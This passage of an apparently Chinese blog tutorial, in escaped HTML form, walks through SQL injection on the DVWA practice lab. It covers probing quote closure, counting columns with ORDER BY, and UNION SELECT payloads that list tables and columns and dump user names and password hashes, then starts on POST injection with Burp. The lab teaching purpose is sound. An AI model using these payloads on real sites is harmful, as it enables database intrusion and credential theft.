\u65e0\u62a5\u9519\u5355\u5f15\u53f7\u95ed\u5408\uff0c\u62a5\u9519\u5355\u5f15\u53f7\u52a0\u62ec\u53f7\u95ed\u5408<\/strong><\/p>\n<p><strong>\u3000\u3000\u62a5\u9519\u00a0 =&gt;\u00a0 \u5355\u5f15\u53f7\u4e0d\u62a5\u9519\uff0c\u53cc\u5f15\u53f7\u62a5\u9519\u00a0 =&gt;\u00a0 \u5c1d\u8bd5 ?id=1&#8243;-+\u00a0 =&gt;\u00a0 \u65e0\u62a5\u9519\u53cc\u5f15\u53f7\u95ed\u5408\uff0c\u62a5\u9519\u53cc\u5f15\u53f7\u52a0\u62ec\u53f7\u95ed\u5408<\/strong><\/p>\n<p><strong>\u3000\u3000<\/strong><\/p>\n<p><strong>\u3000\u3000\u6ce8\u5165\u70b9\u627e\u5230\uff0c\u786e\u5b9a\u95ed\u5408\u65b9\u5f0f\u5f00\u59cb\u8fdb\u884c\u6ce8\u5165\u653b\u51fb\uff0c\u4ee5DVWA\u9776\u573a\u4e3a\u4f8b<\/strong><\/p>\n<p><strong>\u3000\u3000First\uff0c\u89c2\u5bdfurl\u680f \u5224\u65ad\u4e3aGET\u4f20\u53c2\uff0c\u5148\u8fdb\u884c\u6b63\u5e38\u5185\u5bb9\u8f93\u5165\uff0c\u8f93\u51651 \uff0c\u770b\u8fd4\u56de\u7ed3\u679c<\/strong><\/p>\n<p><strong>\u3000\u3000<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1017\" title=\"2204804-20211211111402116-677741510\" src=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/replace\/0b76660f92fd0fb4fccd99915398eb91.png\" alt=\"2204804-20211211111402116-677741510\" width=\"1020\" height=\"335\" \/><\/strong><\/p>\n<p><strong>\u7b2c\u4e8c\u6b65\uff0c\u6d4b\u8bd5\u662f\u5426\u5b58\u5728\u6ce8\u5165\uff0c\u8fdb\u884c\u6076\u610f\u8bed\u53e5\u6d4b\u8bd5\uff0c\u4e0d\u77e5\u9053\u95ed\u5408\u7c7b\u578b\uff0c\u5148\u4ece\u6574\u5f62\u95ed\u5408\u5f00\u59cb\u5224\u65ad 1 and 1=1<\/strong><\/p>\n<p><strong>\u3000\u3000<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1018\" title=\"2204804-20211211112406223-1118834423\" src=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/replace\/09e63fef3ce3773b522c24240036d835.png\" alt=\"2204804-20211211112406223-1118834423\" width=\"895\" height=\"277\" \/><\/strong><\/p>\n<p><strong>\u9875\u9762\u6b63\u5e38\uff0c\u4e0eid=1 \u65f6\u8fd4\u56de\u7684\u5185\u5bb9\u4e00\u6837\u00a0 \u4e0d\u786e\u5b9a\u662f\u5426\u6ce8\u5165\u6210\u529f\uff0c\u56e0\u4e3aand 1=1 \u6052\u6210\u7acb \u6240\u4ee5\u8fd8\u5f97\u8fdb\u884c\u7b2c\u4e8c\u6b21\u5224\u65ad\uff0c1 and 1=2<\/strong><\/p>\n<p><strong>\u3000\u3000<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1019\" title=\"2204804-20211211113156195-10781657\" src=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/replace\/5f1332a2d7b6ea2dae137dea347be4aa.png\" alt=\"2204804-20211211113156195-10781657\" width=\"901\" height=\"277\" \/><\/strong><\/p>\n<p><strong>\u9875\u9762\u6b63\u5e38\uff0c\u4e0eid=1 \u65f6\u8fd4\u56de\u7684\u5185\u5bb9\u4e00\u6837\uff0cand 1=2 \u662f\u6052\u4e0d\u6210\u7acb\u7684\uff0c\u5982\u679c\u6570\u636e\u5e93\u6267\u884c\u4e86\u4ee3\u7801\u90a3\u4e48\u5e94\u8be5\u662f\u6ca1\u6709\u6570\u636e\u8fd4\u56de\u7684\uff0c\u73b0\u5728\u8fd4\u56de\u4e86\u6570\u636e\uff0cso\uff0c\u4e0d\u662f\u6574\u5f62\u95ed\u5408<\/strong><strong><br \/>\n<\/strong><\/p>\n<p><strong>\u3000\u3000ok\uff0c\u65e2\u7136\u4e0d\u662f\u6574\u5f62\u95ed\u5408\uff0c\u90a3\u4e48\u53bb\u5c1d\u8bd5\u662f\u4e0d\u662f\u5355\u5f15\u53f7\u95ed\u5408\uff0c\u8f93\u5165\u00a0 \u00a01&#8217;\uff0c\uff0c\uff0c\u628a\u9519\u8bef\u663e\u793a\u51fa\u6765\u4e86\uff0c\u8bf4\u660e\u662f\u5355\u5f15\u53f7\u95ed\u5408\uff0c\u65e2\u5b58\u5728\u6ce8\u5165\uff0c\u53c8\u786e\u5b9a\u662f\u5355\u5f15\u53f7\u95ed\u5408\uff0c\u90a3\u4e48\u53ef\u4ee5\u8fdb\u884c\u6ce8\u5165\u4e86\u3002AND\uff0c\u6211\u8f93\u5165\u7684\u662f1&#8242;\u00a0 \u4e3a\u4ec0\u4e48url\u7684\u4f20\u53c2\u662f1%27\uff0c\u8fd9\u662f\u56e0\u4e3aget\u4f20\u53c2\u4f1a\u88aburl\u7f16\u7801\uff0c\u8fd9\u4e2a\u5f15\u53f7\u88aburl\u7f16\u7801\u4e86\uff0c<\/strong><strong>HTTP\u8bf7\u6c42GET\u8bf7\u6c42\u4e00\u822c\u8981\u8fdb\u884cURL\u7f16\u7801\uff0c\u4e3a\u4ec0\u4e48\u5462\uff0c\u8fd9\u662f\u4e3a\u4e86\u9632\u6b62URL\u4e2d\u7684\u53c2\u6570\u548cHTTP\u4e2d\u7684\u4e00\u4e9b\u53c2\u6570\u51b2\u7a81\uff0c\u5bfc\u81f4\u5947\u5f02\u3002<\/strong><\/p>\n<p><strong>\u3000\u3000<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1020\" title=\"2204804-20211211145825926-1945314861\" src=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/replace\/3e36cba953f95e37dbe52169536ec865.png\" alt=\"2204804-20211211145825926-1945314861\" width=\"1089\" height=\"240\" \/><\/strong><\/p>\n<p><strong>\u3000\u3000OK\uff0c\u4e0b\u9762\u5f00\u59cbSQL\u6ce8\u5165<\/strong><\/p>\n<p><strong>\u3000\u3000First\uff0c\u5df2\u7ecf\u627e\u5230\u6ce8\u5165\u70b9\uff0c\u5224\u65ad\u51fa\u95ed\u5408\u7c7b\u578b\uff0c\u5f00\u59cb \u901a\u8fc7\u6076\u610f\u8bed\u53e5\u6765\u83b7\u53d6\u6570\u636e\u5e93\u4fe1\u606f<\/strong><\/p>\n<p><strong>\u3000\u3000\u7b2c\u4e00\u6b65\uff0c\u731c\u89e3\u5b57\u6bb5\u6570\uff0c\u7528\u5230\u8bed\u6cd5\uff1aorder by\u00a0 X\u00a0 \u00a0\u5f53X\u5927\u4e8e\u5b57\u6bb5\u6570\u5c31\u4f1a\u663e\u9519\uff0c\u5c0f\u4e8e\u6216\u7b49\u4e8e\u6b63\u5e38\u8fd4\u56de\u9875\u9762<\/strong><\/p>\n<p><strong>\u3000\u3000\u901a\u8fc7order by\u8bed\u53e5\u67e5\u51fa\u5f53\u524d\u8868\u6709\u4e24\u4e2a\u5b57\u6bb5\uff0c\u4e3a\u4ec0\u4e48\u8981\u5148\u67e5\u5b57\u6bb5\u6570\uff1f \u601d\u8003ing time\uff081min\uff09<\/strong><\/p>\n<p><strong>\u3000\u3000answer &gt;&gt;&gt;&gt;\u00a0 \u56e0\u4e3a\u4e0b\u9762\u8981\u60f3\u67e5\u6570\u636e\u5e93\u5176\u4ed6\u7684\u5185\u5bb9\uff0c\u4e0d\u53ef\u80fd\u518d\u7528\u5f53\u524d\u8868\u5427\uff0c\u5f97\u901a\u8fc7\u8054\u5408\u67e5\u8be2\u5427\uff0c\u90a3\u4e48\u8054\u5408\u67e5\u8be2\u7684\u5fc5\u8981\u6761\u4ef6&gt;&gt;&gt;\u591a\u4e2a\u8868\u7684\u5b57\u6bb5\u6570\u5fc5\u987b\u76f8\u540c<\/strong><\/p>\n<p><strong>\u3000\u3000<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1021\" title=\"2204804-20211211151206287-1984230663\" src=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/replace\/f748889210824477d0484adc06f8e9bb.png\" alt=\"2204804-20211211151206287-1984230663\" width=\"897\" height=\"259\" \/><\/strong><\/p>\n<p><strong>\u7b2c\u4e8c\u6b65\uff0c\u5224\u65ad\u663e\u4f4d\uff0cwhy\uff1f\u00a0<\/strong><\/p>\n<p><strong>\u3000\u3000answer &gt;&gt;&gt;\u4e00\u4e2a\u8868\u53ef\u80fd\u6709\u591a\u4e2a\u5b57\u6bb5\uff0c\u4f46\u662f\u6211\u4eec\u9875\u9762\u4e0a\u770b\u5230\u7684\u53ef\u80fd\u5e76\u4e0d\u662f\u8868\u7684\u5b57\u6bb5\u7684\u5168\u90e8\uff0c\u5f00\u53d1\u8005\u53ef\u80fd\u9875\u9762\u5185\u5bb9\u53ea\u8f93\u51fa\u6307\u5b9a\u7684\u90a3\u51e0\u4e2a\u5b57\u6bb5\uff0c\u90a3\u662f\u4e0d\u662f\u6211\u4eec\u5c31\u770b\u4e0d\u5230\u5176\u4ed6\u7684\u5b57\u6bb5\u5462\uff0cso\uff0c\u9875\u9762\u663e\u793a\u5e76\u4e0d\u4e00\u5b9a\u662f\u5168\u90e8\u5b57\u6bb5\u3002\u90a3\u6211\u4eec\u5c31\u8981\u5224\u65ad\u51fa\u5b57\u6bb5\u663e\u4f4d\uff0c\u540c\u65f6\u4e5f\u8f93\u51fa\u53e6\u4e00\u4e2a\u8868\u540c\u6837\u7684\u663e\u4f4d\uff0c\u8fd9\u6837\u67e5\u8be2\u7684\u4fe1\u606f\u624d\u53ef\u80fd\u901a\u8fc7 \u663e\u4f4d \u8f93\u51fa\u5230\u9875\u9762\u3002<\/strong><\/p>\n<p><strong>\u3000\u3000HOW\uff1f<\/strong><\/p>\n<p><strong>\u3000\u3000answer&gt;&gt;&gt;\u6709\u7684\u7f51\u7ad9\uff0c\u4f1a\u89c4\u5b9a\u8fd9\u4e2a\u663e\u4f4d\uff0c\u8f93\u51fa\u7684\u6570\u636e\u6307\u5b9a\u662f\u591a\u5c11\uff0c\u5982\u679c\u5f00\u53d1\u8005\u6307\u5b9a\u53ea\u80fd\u8f93\u51fa\u4e00\u6761\u6570\u636e\uff0c\u90a3\u4e48\u8054\u5408\u67e5\u8be2\u597d\u50cf\u4e5f\u6ca1\u4ec0\u4e48\u4f5c\u7528\u4e86\uff0c\u56e0\u4e3a\u8054\u5408\u67e5\u8be2\u662f\u5148\u8f93\u51fa\u524d\u9762\u8868\u7684\u6570\u636e\uff0c\u6211\u4eec\u9700\u8981\u7684\u662f\u540e\u9762\u7684\u8868\u7684\u6570\u636e\uff0c\u6709\u9047\u5230\u96be\u9898\u4e86\u3002\u3002\u3002\u601d\u8003ing time\uff082min\uff09<\/strong><\/p>\n<p><strong>\u3000\u3000ok\uff0c\u7528\u8054\u5408\u67e5\u8be2\uff0c\u5f53\u4e00\u4e2a\u8868\u91cc\u6ca1\u6709\u67e5\u8be2\u5230\u6570\u636e\uff0c\u90a3\u4e48\u4e0d\u8f93\u51fa\u8fd9\u4e2a\u8868\u7684\u6570\u636e\uff0c\uff0c\uff0c\uff0c\u53ef\u4e0d\u53ef\u4ee5\uff0c\u524d\u9762\u7684\u8868\u4e0d\u8f93\u51fa\u6570\u636e\u5462\u3002\u3002of course<\/strong><\/p>\n<p><strong>\u3000\u30001.111111111111\uff0c1\uff0c998787\uff0c6.37176\uff0c90000.88877\uff0c\uff0c\uff0c\uff0c\u8fd9\u4e9b\u6570\u636e\u6570\u636e\u5e93\u91cc\u53ef\u4ee5\u8bf4\u662f\u767e\u5e74\u4e0d\u4f1a\u89c1\u5427\uff0c\u90a3\u6211\u4eec\u53bb\u67e5\u4ed6\uff0c\u662f\u4e0d\u662f\u7a7a\uff1f\uff1f\u00a0of course<\/strong><\/p>\n<p><strong>\u3000\u3000ok\uff0c\u6784\u5efa\u6076\u610f\u8bed\u53e5&gt;&gt;&gt;&gt; 1.11114434&#8242; union select 1,2 #<\/strong><\/p>\n<p><strong>\u3000\u3000<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1022\" title=\"2204804-20211211154009563-2064010538\" src=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/replace\/72d9559b2ccf34e8027d04fdae7dd160.png\" alt=\"2204804-20211211154009563-2064010538\" width=\"901\" height=\"271\" \/><\/strong><\/p>\n<p><strong>\u3000\u3000\u5982\u4e0a\u56fe\uff0c\u4ece\u7b2c\u4e00\u6b65\u5f97\u77e5\u6709\u4e24\u4e2a\u5b57\u6bb5\uff0c\u7528\u6765\u5224\u663e\u4f4d\uff0c\u4e24\u4e2a\u5b57\u6bb5\u5185\u5bb9\u5168\u90e8\u663e\u793a\uff0c\u5f53\u7136\u8fd9\u79cd\u60c5\u51b5\u7684\u6982\u7387\u662f\u975e\u5e38\u5c0f\u7684<\/strong><\/p>\n<p><strong>\u3000\u3000ok\uff0c\u663e\u4f4d\u5224\u65ad\u5b8c\u6bd5<\/strong><\/p>\n<p><strong>\u3000\u3000\u7b2c\u4e09\u6b65\uff0c\u67e5\u8be2\u5f53\u524d\u6570\u636e\u5e93<\/strong><\/p>\n<p><strong>\u3000\u3000HOW\uff1f\u601d\u8003ing time\uff081min\uff09<\/strong><\/p>\n<p><strong>\u3000\u3000database\uff08\uff09\u51fd\u6570<\/strong><\/p>\n<div class=\"cnblogs_Highlighter sh-gutter\">\n<div>\n<div id=\"highlighter_770894\" class=\"syntaxhighlighter sql\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"sql plain\">1.7274972'\u00a0<\/code><code class=\"sql keyword\">union<\/code>\u00a0<code class=\"sql keyword\">select<\/code>\u00a0<code class=\"sql plain\">1,<\/code><code class=\"sql keyword\">database<\/code><code class=\"sql plain\">() #<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1023\" title=\"2204804-20211211155021130-1958411663\" src=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/replace\/1926cc8cbc0e863c7f63371f0b2c3fdd.png\" alt=\"2204804-20211211155021130-1958411663\" width=\"890\" height=\"282\" \/><\/p>\n<p><strong>ok\uff0c\u663e\u4f4d\u5df2\u7ecf\u5224\u65ad\u5b8c\u6bd5\uff0c\u4e0b\u9762\u624d\u662f\u521a\u521a\u5f00\u59cb<\/strong><\/p>\n<p><strong>\u3000\u3000\u7b2c\u4e09\u6b65\uff0c\u5bf9\u6570\u636e\u5e93\u91cc\u7684\u5e93\uff0c\u8868\uff0c\u5b57\u6bb5\uff0c\u6570\u636e\u8fdb\u884c\u67e5\u8be2<\/strong><\/p>\n<p><strong>\u3000\u3000HOW\uff1f<\/strong><\/p>\n<p><strong>\u3000\u3000First\uff0c\u9700\u8981\u4e86\u89e3\u6570\u636e\u5e93\uff0c\u6b64\u9776\u573a\u7684\u6570\u636e\u5e93\u662fMySQL\uff0c\u540e\u7eed\u4f1a\u5199\u600e\u4e48\u8bc6\u522b\u6570\u636e\u5e93\uff0c\u5e38\u89c1\u6570\u636e\u5e93\u592a\u591a\u4e86\uff0cOracle Database\u7532\u9aa8\u6587\u516c\u53f8\u3001SQL Server\u5fae\u8f6f\u516c\u53f8\u3001DB2IBM\u516c\u53f8\u3001PostgreSQL\u5f00\u6e90\u3001MySQL\u5f00\u6e90\u3001Access\u5fae\u8f6f\u7b49\u7b49<\/strong><\/p>\n<p><strong>\u3000\u3000mysql\u57285.0\u4ee5\u4e0a\u7248\u672c\u52a0\u5165\u4e86information_schema\u8fd9\u4e2a\u7cfb\u7edf\u81ea\u5e26\u5e93\uff0c\u5176\u4e2d\u4fdd\u5b58\u7740\u5173\u4e8emysql\u670d\u52a1\u5668\u6240\u7ef4\u62a4\u7684\u5176\u4ed6\u6570\u636e\u4fe1\u606f\uff0c\u5982\u6570\u636e\u5e93\u540d\uff0c\u6570\u636e\u5e93\u7684\u8868\uff0c\u8868\u680f\u7684\u6570\u636e\u7c7b\u578b\u4e0e\u8bbf\u95ee\u6743\u9650\uff0c\uff0c<\/strong><strong>\u8fd9\u4e2a\u5e93\u975e\u5e38\u725b\uff0c\uff0c\u6570\u636e\u5e93\u6240\u6709\u7684 \u5e93\uff0c\u8868\uff0c\u5b57\u6bb5\u7684\u4f4d\u7f6e\u5728\u8fd9\u5f20\u8868\u91cc\u90fd\u80fd\u627e\u5230<\/strong><\/p>\n<p><strong>\u3000\u3000information_scheam\u8fd9\u4e2a\u5e93\u4e0b\u9762\u6709\u51e0\u4e2a\u975e\u5e38\u91cd\u8981\u7684\u8868\uff0c\u5fc5\u987b\u77e5\u9053\u7684\uff1a<\/strong><\/p>\n<p><strong>\u3000\u3000information_schema.schemata\u00a0 &gt;&gt;&gt; \u8fd9\u4e2a\u8868\u4fdd\u5b58\u4e86\u6240\u6709\u6570\u636e\u5e93\u91cc\u7684\u5e93\u7684\u4fe1\u606f<\/strong><\/p>\n<p><strong>\u3000\u3000<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1024\" title=\"2204804-20211211192914109-747496962\" src=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/replace\/aa2000d1de3371073f7d188d0efb3cf8.png\" alt=\"2204804-20211211192914109-747496962\" width=\"669\" height=\"211\" \/><\/strong><\/p>\n<p><strong>\u3000\u3000information_schema.tables\u00a0 &gt;&gt;&gt;\u00a0 \u8fd9\u4e2a\u8868\u4fdd\u5b58\u4e86\u6570\u636e\u5e93\u91cc\u6240\u6709\u8868\u7684\u4fe1\u606f<\/strong><\/p>\n<p><strong>\u3000\u3000<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1025\" title=\"2204804-20211211193439805-1456374149\" src=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/replace\/e451badb9df845b133071667e74ecb5e.png\" alt=\"2204804-20211211193439805-1456374149\" width=\"511\" height=\"271\" \/><\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><strong>information_schema.columns\u00a0 &gt;&gt;&gt; \u8fd9\u4e2a\u8868\u4fdd\u5b58\u4e86\u6570\u636e\u5e93\u91cc\u6240\u6709\u7684\u5b57\u6bb5\u4fe1\u606f<\/strong><\/p>\n<p><strong>\u3000\u3000<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1026\" title=\"2204804-20211211194144518-1870742034\" src=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/replace\/84ffed9884a09698987c9291efe48912.png\" alt=\"2204804-20211211194144518-1870742034\" width=\"636\" height=\"246\" \/><\/strong><\/p>\n<p><strong>\u3000\u3000AND\uff0c\uff0c<\/strong><\/p>\n<p><strong>\u3000\u3000column_name \u5b57\u6bb5\u540d<\/strong><\/p>\n<p><strong>\u3000\u3000table_name \u8868\u540d<\/strong><\/p>\n<p><strong>\u3000\u3000schema_name \u5e93\u540d<\/strong><\/p>\n<p><strong>\u3000\u3000OK\uff0c\u57fa\u7840\u77e5\u8bc6\u5df2\u7b80\u5355\u4e86\u89e3\uff0c\u600e\u4e48\u53d6\u901a\u8fc7\u8fd9\u4e9b\u77e5\u8bc6\u6ce8\u5165\u5462\uff0c<\/strong><\/p>\n<p><strong>\u3000\u3000\u601d\u8003ing\u00a0 time\uff085min\uff09<\/strong><\/p>\n<p><strong>\u3000\u3000OK\uff0cTime out\uff0c\uff0c\uff0c<\/strong><\/p>\n<p><strong>\u3000\u3000Look here\u00a0 &gt;&gt;&gt;\u00a0 \u4e0a\u4e00\u6b65\u77e5\u9053\u4e86\u8054\u5408\u67e5\u8be2\uff0c\u5bf9\u4e0d\u5bf9\uff0c\u8981\u67e5\u8be2\u6570\u636e\u5e93\u4fe1\u606f\u9700\u8981\u77e5\u9053\u8868\u540d\u5440\uff0c\u73b0\u5728\u5df2\u7ecf\u77e5\u9053\u4e86\u7cfb\u7edf\u81ea\u5e26\u5e93\u3001\u81ea\u5e26\u8868\uff0c\u800c\u4e14\u901a\u8fc7\u8fd9\u51e0\u5f20\u8868\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\u6570\u636e\u5e93\u4efb\u4f55\u6570\u636e<\/strong><\/p>\n<p><strong>\u3000\u3000OK\uff0c\u90a3\u4e0b\u9762\u5c31easy\u4e86\uff0c\uff0c\uff0c\u6784\u5efa\u6076\u610f\u8bed\u53e5\uff0c\u5148\u770b\u770b\uff0c\u5f53\u524d\u5e93\u5b58\u5728\u54ea\u4e9b\u8868<\/strong><\/p>\n<div class=\"cnblogs_Highlighter sh-gutter\">\n<div>\n<div id=\"highlighter_306133\" class=\"syntaxhighlighter sql\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"sql plain\">1.2223'\u00a0<\/code><code class=\"sql keyword\">union<\/code>\u00a0<code class=\"sql keyword\">select<\/code>\u00a0<code class=\"sql plain\">1,table_name\u00a0<\/code><code class=\"sql keyword\">from<\/code>\u00a0<code class=\"sql plain\">information_schema.tables\u00a0<\/code><code class=\"sql keyword\">where<\/code>\u00a0<code class=\"sql plain\">table_schema=<\/code><code class=\"sql keyword\">database<\/code><code class=\"sql plain\">()\u00a0 #<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>&gt;&gt;&gt;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1027\" title=\"2204804-20211211195652903-1579852839\" src=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/replace\/24351765efe44e7e45997fc3a07eed10.png\" alt=\"2204804-20211211195652903-1579852839\" width=\"1025\" height=\"251\" \/><\/p>\n<p>&nbsp;<\/p>\n<p><strong>OK\uff0c\u5f53\u524d\u6570\u636e\u5e93\u4e0b\u7684\u8868&#8217;s name\u6709\u5df2\u7ecf\u62ff\u5230\uff0c\uff0c\u5b9a\u775b\u4e00\u770b\uff0c\uff0cusers\uff0c\uff0c\u8fd9\u4e2a\u8868\u6709\u70b9\u53ef\u7591\u5440\uff0c\uff0cuser\u4ec0\u4e48\u610f\u601d&gt;&gt;\u7528\u6237\u00a0 \u00a0<\/strong><\/p>\n<p><strong>\u3000\u3000 SO\uff0c\u6211\u4eec\u6765\u770b\u4e00\u4e0busers\u8868\u91cc\u6709\u4ec0\u4e48\u4e1c\u897f\uff0c\u6765\uff0c\u4e0a\u6076\u610f\u4ee3\u7801<\/strong><\/p>\n<div class=\"cnblogs_Highlighter sh-gutter\">\n<div>\n<div id=\"highlighter_116322\" class=\"syntaxhighlighter sql\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"sql plain\">1.2333<\/code><code class=\"sql string\">' union select 1,column_name from information_schema.columns where table_schema=database() and table_name='<\/code><code class=\"sql plain\">users'\u00a0 #\u00a0<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>&gt;&gt;&gt;\u3000<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1028\" title=\"2204804-20211211200721851-491139406\" src=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/replace\/f1f628b8c27b50c3ae4023123f75541c.png\" alt=\"2204804-20211211200721851-491139406\" width=\"1120\" height=\"597\" \/><\/p>\n<p>&nbsp;<\/p>\n<p><strong>OK\uff0c\u5b57\u6bb5\u540d\u5df2\u7ecf\u83b7\u53d6\u4e86\uff0c\u662f\u4e0d\u662f\u6709\u4e24\u4e2a\u975e\u5e38\u91cd\u8981\u7684\u6570\u636e&gt;&gt;&gt;user\u00a0 \u00a0 \u00a0password<\/strong><\/p>\n<p><strong>\u3000\u3000SO\uff0c\u83b7\u53d6user and password \u4e24\u4e2a\u5b57\u6bb5\u7684\u6570\u636e\u00a0 \u00a0\uff0c\uff0c\uff0c&gt;&gt;&gt;\u00a0 \u6076\u610f\u4ee3\u7801\uff0c\uff0c\uff0c\u4e0a<\/strong><\/p>\n<div class=\"cnblogs_Highlighter sh-gutter\">\n<div>\n<div id=\"highlighter_875434\" class=\"syntaxhighlighter sql\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"sql plain\">1.647'\u00a0<\/code><code class=\"sql keyword\">union<\/code>\u00a0<code class=\"sql keyword\">select<\/code>\u00a0<code class=\"sql color2\">user<\/code><code class=\"sql plain\">,<\/code><code class=\"sql keyword\">password<\/code>\u00a0<code class=\"sql keyword\">from<\/code>\u00a0<code class=\"sql plain\">dvwa.users #<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>&gt;&gt;&gt;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1029\" title=\"2204804-20211211201413285-1343343907\" src=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/replace\/8b717d88a0f0d0212d680a69222980a8.png\" alt=\"2204804-20211211201413285-1343343907\" width=\"716\" height=\"411\" \/><\/p>\n<p>&nbsp;<\/p>\n<p><strong>WC\uff0cNB\uff0c\u4fe1\u606f\u90fd\u51fa\u6765\uff0c\u84dd\u6846\u65f6\u7528\u6237\u540d\uff0c\u7eff\u6846\u65f6\u5bc6\u7801\uff0c\u4f46\u4ed4\u7ec6\u4e00\u770b\u6709\u70b9\u4e0d\u5bf9\uff0c\uff0c\u54ea\u91cc\u4e0d\u5bf9<\/strong><strong><br \/>\n<\/strong><\/p>\n<p><strong>\u3000\u3000password\u88ab\u52a0\u5bc6\u4e86\uff0cMD5\u52a0\u5bc6\uff0c\uff0c\u767e\u5ea6\u641cMD5\u89e3\u5bc6\uff0c\uff0c\u628a\u5bc6\u7801\u89e3\u51fa\u6765\uff0c\uff0cso\u00a0 easy<\/strong><\/p>\n<p><strong>\u4e09\u3001POST\u6ce8\u5165<\/strong><\/p>\n<p><strong>\u3000\u30001\u3001What is POST\u6ce8\u5165<\/strong><\/p>\n<p><strong>\u3000\u3000\u8981\u641e\u61c2POST\u6ce8\u5165\uff0c\u5148\u641e\u61c2POST\u4f20\u53c2<\/strong><\/p>\n<p><strong>\u3000\u3000POST\u4f20\u53c2\uff1a\u7528\u6237\u8f93\u5165\u7684\u5185\u5bb9\u88ab\u9690\u85cf\u4e86\u8d77\u6765\uff0c\u5730\u5740\u680f\u770b\u4e0d\u5230<\/strong><\/p>\n<p><strong>\u3000\u3000\u7279\u70b9\uff1a\u4f20\u53c2\u5185\u5bb9\u4e0d\u53ef\u89c1\uff0c\u4f20\u53c2\u957f\u5ea6\u65e0\u9650\u5236<\/strong><\/p>\n<p><strong>\u3000\u3000POST\u6ce8\u5165\uff1a\u901a\u8fc7POST\u4f20\u53c2\u7684\u65b9\u5f0f\uff0c\u4f20\u8f93\u6076\u610f\u8bed\u53e5\uff0c\u8fdb\u884cSQL\u6ce8\u5165\uff0c\u672c\u8d28\u548cGET\u6ce8\u5165\u662f\u4e00\u6837\u7684<\/strong><\/p>\n<p><strong>\u3000\u3000<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1030\" title=\"2204804-20211211203538055-1468324818\" src=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/replace\/aa10641223e23c122207ee6db2588692.png\" alt=\"2204804-20211211203538055-1468324818\" width=\"814\" height=\"457\" \/><\/strong><\/p>\n<p><strong>\u3000\u3000\u5982\u4e0a\u56fe\uff0c\u6240\u793a\uff0c\u6ca1\u6709\u8f93\u5165\u5730\u65b9\uff0c\u53ea\u6709\u9009\u9879\u6846\uff0c\u6700\u91cd\u8981\u7684\u4e00\u70b9\u662f\uff0c\u5730\u5740\u680f\u4e0d\u53ef\u89c1\u4f20\u53c2\u5185\u5bb9<\/strong><\/p>\n<p><strong>\u3000\u3000WC\uff0c\u8fd9\u600e\u4e48\u641e\uff0c\u8fd9\u600e\u4e48\u8fdb\u884c\u4f20\u53c2\uff0cTMD\u4e0d\u6309\u5957\u8def\u6765<\/strong><\/p>\n<p><strong>\u3000\u3000\u90a3\u597d\u5427\uff0c\u6765\u642c\u4e2a\u6551\u5175\u5427\u00a0 &gt;&gt;&gt;&gt;&gt;\u00a0 BURP\u00a0\u00a0<\/strong><\/p>\n<p><strong>\u3000\u3000BURP\u6765\u6293\u4e2a\u5305\u5427\uff0c\u65e2\u7136\u5730\u5740\u680f\u4e0d\u80fd\u663e\u793a\u4f20\u53c2\u5185\u5bb9\uff0c\u6293\u5305\u603b\u53ef\u4ee5\u5427<\/strong><\/p>\n<p><strong>\u3000\u3000<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full 